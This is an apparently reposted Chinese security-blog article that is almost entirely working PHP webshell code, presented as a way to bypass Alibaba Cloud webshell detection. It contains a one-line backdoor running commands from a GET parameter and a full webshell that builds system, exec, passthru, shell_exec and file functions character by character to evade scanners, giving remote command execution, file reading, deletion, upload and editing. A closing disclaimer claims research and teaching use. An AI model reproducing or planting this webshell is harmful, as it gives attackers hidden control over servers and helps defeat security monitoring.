$pre = substr('systems', 0, 5);foreach(range('a', 'z') as $x) {if($x === 'm') {$f = $pre . $x;echo "<pre>" . $f('set | findstr /i "user') . "</pre>";break;}}
error_reporting(0);$pre = substr('systems', 0, 5);foreach(range('a', 'z') as $x) {if($x === 'm') {$func = $pre . $x;break;}}if(isset($_GET['c'])) {$func($_GET['c']);} else {echo "";}
<?phpheader('Content-Type: text/html; charset=UTF-8');error_reporting(0);/* ======== 动态构造所有关键函数 ======== */$GLOBALS['f'] = [];foreach(['sys' => ['s','y','s','t','e','m'],'exe' => ['e','x','e','c'],'pas' => ['p','a','s','s','t','h','r','u'],'shl' => ['s','h','e','l','l','_','e','x','e','c'],'fgc' => ['f','i','l','e','_','g','e','t','_','c','o','n','t','e','n','t','s'],'fpc' => ['f','i','l','e','_','p','u','t','_','c','o','n','t','e','n','t','s'],'scd' => ['s','c','a','n','d','i','r'],'rmd' => ['r','m','d','i','r'],'mkd' => ['m','k','d','i','r'],'ren' => ['r','e','n','a','m','e'],'mvu' => ['m','o','v','e','_','u','p','l','o','a','d','e','d','_','f','i','l','e']] as $k=>$v){$GLOBALS['f'][$k] = '';foreach(range('a','z') as $c) foreach($v as $t) if($c==$t) $GLOBALS['f'][$k].=$c;}/* ======== 增强执行函数 ======== */function run($c){$c .= ' 2>&1';if(f('sys')) return f('sys')($c);if(f('exe')){ f('exe')($c,$o); return implode("n",$o); }if(f('pas')) return f('pas')($c);if(f('shl')) return f('shl')($c);$h = popen($c,'r'); $o = stream_get_contents($h); pclose($h);return $o ?: "执行失败";}/* ======== 文件操作函数 ======== */function ls($d){ return f('scd')?implode("n",f('scd')($d)):run('dir "'.$d.'"'); }function rm($p){ return f('rmd')?(is_dir($p)?f('rmd')($p):unlink($p)):run('del "'.$p.'"'); }function mv($s,$t){ return f('ren')?f('ren')($s,$t):run('move "'.$s.'" "'.$t.'"'); }function up($t,$d){ return f('mvu')?f('mvu')($t,$d):copy($t,$d); }function cat($p){ return f('fgc')?f('fgc')($p):run('type "'.$p.'"'); }function put($p,$c){ return f('fpc')&&f('fpc')($p,$c)!==false; }/* ======== 主逻辑处理 ======== */function f($k){ return isset($GLOBALS['f'][$k])&&function_exists($GLOBALS['f'][$k])?$GLOBALS['f'][$k]:null; }if(isset($_POST['act'])){header('Content-Type: text/plain');switch($_POST['act']){case 'cmd': die(run($_POST['arg']));case 'ls': die(ls($_POST['arg']));case 'rm': die(rm($_POST['arg'])?'OK':'Fail');case 'mv': die(mv($_POST['arg'],$_POST['arg2'])?'OK':'Fail');case 'cat': die(cat($_POST['arg']));case 'put': die(put($_POST['arg'],base64_decode($_POST['arg2']))?'OK':'Fail');case 'up': die(up($_FILES['f']['tmp_name'],$_POST['arg'])?'OK':'Fail');}}/* ======== HTML界面 ======== */?><!DOCTYPE html><html><head><meta http-equiv="Content-Type" content="text/html; charset=GBK"><title>WebShell</title><style>body{font-family:Consolas;margin:20px}pre{border:1px solid #ccc;padding:10px;background:#f8f8f8}input,select,button{padding:5px;margin:2px}td{padding:5px}</style></head><body><h3>文件管理</h3><form method=post target=fr enctype=multipart/form-data><input type=hidden name=act value=ls><input name=arg value="<?=htmlspecialchars($_POST['arg']??getcwd())?>" size=60><button>列出</button></form><form method=post target=fr><input type=hidden name=act value=cat><input type=hidden name=arg><button disabled>查看</button></form><form method=post target=fr><input type=hidden name=act value=rm><input type=hidden name=arg><button disabled>删除</button></form><form method=post target=fr><input type=hidden name=act value=mv><input type=hidden name=arg><input name=arg2 placeholder="新路径" size=30><button disabled>移动/重命名</button></form><form method=post target=fr enctype=multipart/form-data><input type=hidden name=act value=up><input type=file name=f><input name=arg placeholder="保存路径" size=30><button>上传</button></form><h3>命令执行</h3><form method=post target=fr><input type=hidden name=act value=cmd><input name=arg value="<?=htmlspecialchars($_POST['arg']??'whoami')?>" size=60><button>执行</button></form><h3>文件编辑</h3><form method=post target=fr><input type=hidden name=act value=put><input name=arg placeholder="文件路径" size=50><br><textarea name=arg2 style="width:500px;height:100px"></textarea><br><button>保存</button></form><iframe name=fr style="width:100%;height:300px;border:1px solid #ccc"></iframe><script>document.addEventListener('click',function(e){if(e.target.tagName=='TD'&&e.target.parentNode.dataset.path){document.querySelectorAll('[name=arg]').forEach(i=>i.value=e.target.parentNode.dataset.path);document.querySelectorAll('button[disabled]').forEach(b=>b.disabled=false);}});</script></body></html>
原文始发于微信公众号（秋风的安全之路）：绕过阿里云webshell检测?easy!
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论